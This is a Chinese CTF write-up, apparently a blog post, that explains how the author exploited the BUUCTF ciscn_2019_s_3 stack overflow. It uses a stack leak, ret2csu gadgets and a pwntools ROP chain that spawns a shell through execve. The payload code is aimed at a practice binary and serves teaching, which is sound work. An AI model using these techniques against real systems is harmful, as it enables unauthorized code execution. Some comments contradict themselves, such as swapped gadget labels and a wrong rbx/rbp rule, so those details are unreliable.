1. 理解题目背景与保护机制
BUUCTF的ciscn_2019_s_3是一道经典的64位栈溢出题目,考察的是在NX保护开启的情况下如何通过ROP技术实现漏洞利用。NX(No-Execute)是一种内存保护机制,它阻止了在栈上执行代码的能力,这使得传统的shellcode注入方式失效。不过聪明的安全研究人员早就找到了绕过方法,其中ret2csu结合系统调用就是一种非常优雅的解决方案。
这道题的特殊之处在于程序没有提供常见的输出函数(如puts或write)来泄露地址信息,这就排除了使用ret2libc的可能性。同时程序中使用了系统调用(syscall)来实现read和write功能,这为我们提供了另一种思路——直接通过系统调用来执行execve('/bin/sh')。
我第一次遇到这种题目时也觉得挺棘手的,毕竟没有了熟悉的libc函数,一切都要从头开始构建。但实际分析下来发现,这种纯系统调用的方式反而更加直接,只要掌握了64位系统调用的传参规则和ret2csu技术,就能很好地解决问题。
2. 程序分析与漏洞定位
拿到题目后,我习惯先用checksec检查一下保护机制:
checksec ./ciscn_2019_s_3
结果显示这是一个64位程序,只开启了NX保护。这意味着我们不能直接在栈上执行代码,但可以通过ROP来组合现有的代码片段。
用IDA反编译后,我发现vuln函数是关键所在。这个函数的汇编代码有几个值得注意的特点:
vuln:
push rbp
mov rbp, rsp
xor rax, rax ; rax清零
mov edx, 0x400 ; 读取长度
mov rsi, rbp ; 缓冲区地址
mov edi, eax ; fd=0(stdin)
syscall ; 调用read
mov edx, 0x30 ; 写入长度
mov rsi, rbp ; 缓冲区地址
mov edi, 0x1 ; fd=1(stdout)
syscall ; 调用write
pop rbp
ret
这里有几个关键点:首先,read可以读取0x400字节的数据,但缓冲区只有0x10字节,存在明显的栈溢出漏洞。其次,函数最后没有leave指令,直接ret返回,这意味着返回地址的覆盖偏移量是0x10字节。
更重要的是,程序中使用了系统调用:read的系统调用号是0(通过xor rax, rax设置),write的系统调用号是1。这提示我们可以考虑直接使用系统调用来实现功能,而不依赖于libc。
3. ret2csu技术原理详解
ret2csu是我认为64位ROP中最精妙的技术之一。它利用了libc_csu_init函数中的通用gadget,这个函数几乎存在于所有使用libc的程序中。在64位系统中,函数参数主要通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),而ret2csu正好提供了控制这些寄存器的能力。
在IDA中查看__libc_csu_init函数,可以看到两段非常有用的代码:
; 第一段gadget (ret2)
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
; 第二段gadget (ret1)
mov rdx, r15
mov rsi, r14
mov edi, r13d
call qword ptr [r12 + rbx*8]
通过组合使用这两段gadget,我们几乎可以控制所有重要的参数寄存器。具体思路是:先用第一段gadget设置各个寄存器的值,然后返回到第二段gadget,通过mov指令将值赋给rdx、rsi和edi(rdi的低32位),最后通过call指令跳转到指定地址。
在这道题中,我们需要调用execve系统调用,它需要三个参数:rdi指向"/bin/sh"字符串地址,rsi和rdx设为0(表示无参数和无环境变量)。通过ret2csu,我们可以完美地设置这些寄存器。
4. 寻找关键gadget与系统调用
构建ROP链之前,需要先收集所有必要的gadget。使用ROPgadget工具可以方便地查找:
ROPgadget --binary ./ciscn_2019_s_3
除了csu中的gadget外,还需要寻找一些特殊的指令。幸运的是,在程序的gadgets函数中,我发现了这样一条关键指令:
mov rax, 0x3b
ret
0x3b正好是execve的系统调用号!这意味着我们不需要通过其他复杂的方式来设置rax寄存器了。这条指令的存在大大简化了我们的利用过程。
另外,还需要一个单独的pop rdi gadget来设置第一个参数:
pop rdi
ret
这个gadget在程序中也能找到,地址是0x4005a3。有了这些gadget,我们的ROP链就有了基础构建模块。
5. 栈布局设计与地址泄露
这是整个利用过程中最 tricky 的部分。由于没有输出函数来泄露libc地址,我们需要利用程序自身的write系统调用来泄露栈地址。
首先发送一个简单的payload来触发第一次溢出:
payload1 = b'A'*16 + p64(vuln_addr)
io.send(payload1)
这样程序会再次执行vuln函数,我们可以通过write的输出获取栈地址。关键是要找到哪个位置的栈地址包含了有用的信息:
io.recv(0x20) # 接收前0x20字节的垃圾数据
stack_addr = u64(io.recv(8)) # 接收栈地址
binsh_addr = stack_addr - 0x148 # 计算偏移得到/bin/sh地址
这里的0x148偏移量需要通过调试确定。我使用gdb的telescope命令来查看栈布局:
gdb ./ciscn_2019_s_3
b *vuln+xx # 在合适位置下断点
run
telescope $rsp 0x30 # 查看栈内容
通过多次调试,我发现距离输入缓冲区起始位置0x148处有一个指向栈的指针。这个地址减去偏移量就是我们的输入缓冲区地址,也就是后面放置"/bin/sh"字符串的位置。
6. 完整ROP链构建
有了地址信息后,就可以构建最终的ROP链了。整个利用过程分为三个阶段:
首先部署字符串和必要地址:
payload2 = b'/bin/sh\x00' # 字符串本身
payload2 += p64(rax_59_addr) # mov rax, 0x3b指令地址
然后布置ret2csu需要的参数:
payload2 += p64(ret2_addr) # 第二段csu gadget
payload2 += p64(0) # rbx
payload2 += p64(1) # rbp (必须与rbx相等)
payload2 += p64(binsh_addr + 8) # r12 (指向mov rax, 0x3b)
payload2 += p64(0)*3 # r13, r14, r15
最后设置参数并触发系统调用:
payload2 += p64(ret1_addr) # 第一段csu gadget
payload2 += b'A'*56 # 填充字节
payload2 += p64(pop_rdi_addr) # 设置rdi
payload2 += p64(binsh_addr) # rdi指向/bin/sh
payload2 += p64(syscall_addr) # 执行系统调用
这样设计的巧妙之处在于:ret2csu不仅设置了rsi和rdx为0,还通过call指令执行了mov rax, 0x3b,设置了系统调用号。最后通过pop rdi设置第一个参数,直接执行syscall。
7. 调试技巧与常见问题
在实际利用过程中,有几个容易踩坑的地方值得注意:
首先是偏移量的计算。本地环境和远程环境的栈布局可能不同,需要调整偏移量。我建议先在本地调试确定偏移量,然后根据远程情况适当调整。
其次是gadget地址的准确性。一定要确保所有gadget地址都是正确的,最好通过多种方式交叉验证。我习惯同时使用ROPgadget和objdump来确认地址。
还有一个常见问题是对齐问题。64位系统对栈对齐有一定要求,有时候需要添加一些额外的ret指令来调整对齐。如果发现利用失败但逻辑正确,可以尝试在ROP链开头添加一个ret指令。
调试时可以使用gdb的attach功能:
from pwn import *
context.log_level = 'debug'
# gdb.attach(io) # 需要时取消注释
这样可以在发送payload前附加调试器,方便查看内存状态和寄存器值。
8. 替代方案与扩展思路
除了ret2csu之外,这道题还可以使用SROP(Sigreturn Oriented Programming)来解决。SROP是另一种强大的ROP技术,它通过伪造signal frame来实现寄存器的全面控制。
不过SROP需要更大的栈空间和更复杂的布局,而且需要知道/bin/sh字符串的准确地址。对于这道题来说,ret2csu是更加直接和稳定的解决方案。
在实际的漏洞利用中,经常需要根据具体情况选择合适的技术。有时候甚至需要组合多种技术才能成功利用。这道题很好地展示了如何根据程序特性选择最合适的利用技术。
我认为学习Pwn最重要的不是记住各种利用技巧,而是培养分析问题和解决问题的能力。每道题目都有其独特之处,需要耐心分析程序逻辑,寻找可利用的点,然后选择合适的技术方案。
通过这道题的学习,我深刻体会到64位ROP利用的精妙之处。ret2csu技术虽然复杂,但一旦掌握,就能解决很多看似困难的问题。希望我的分享能帮助你更好地理解这个技术,在之后的Pwn学习中有所收获。
862



被折叠的 条评论
为什么被折叠?



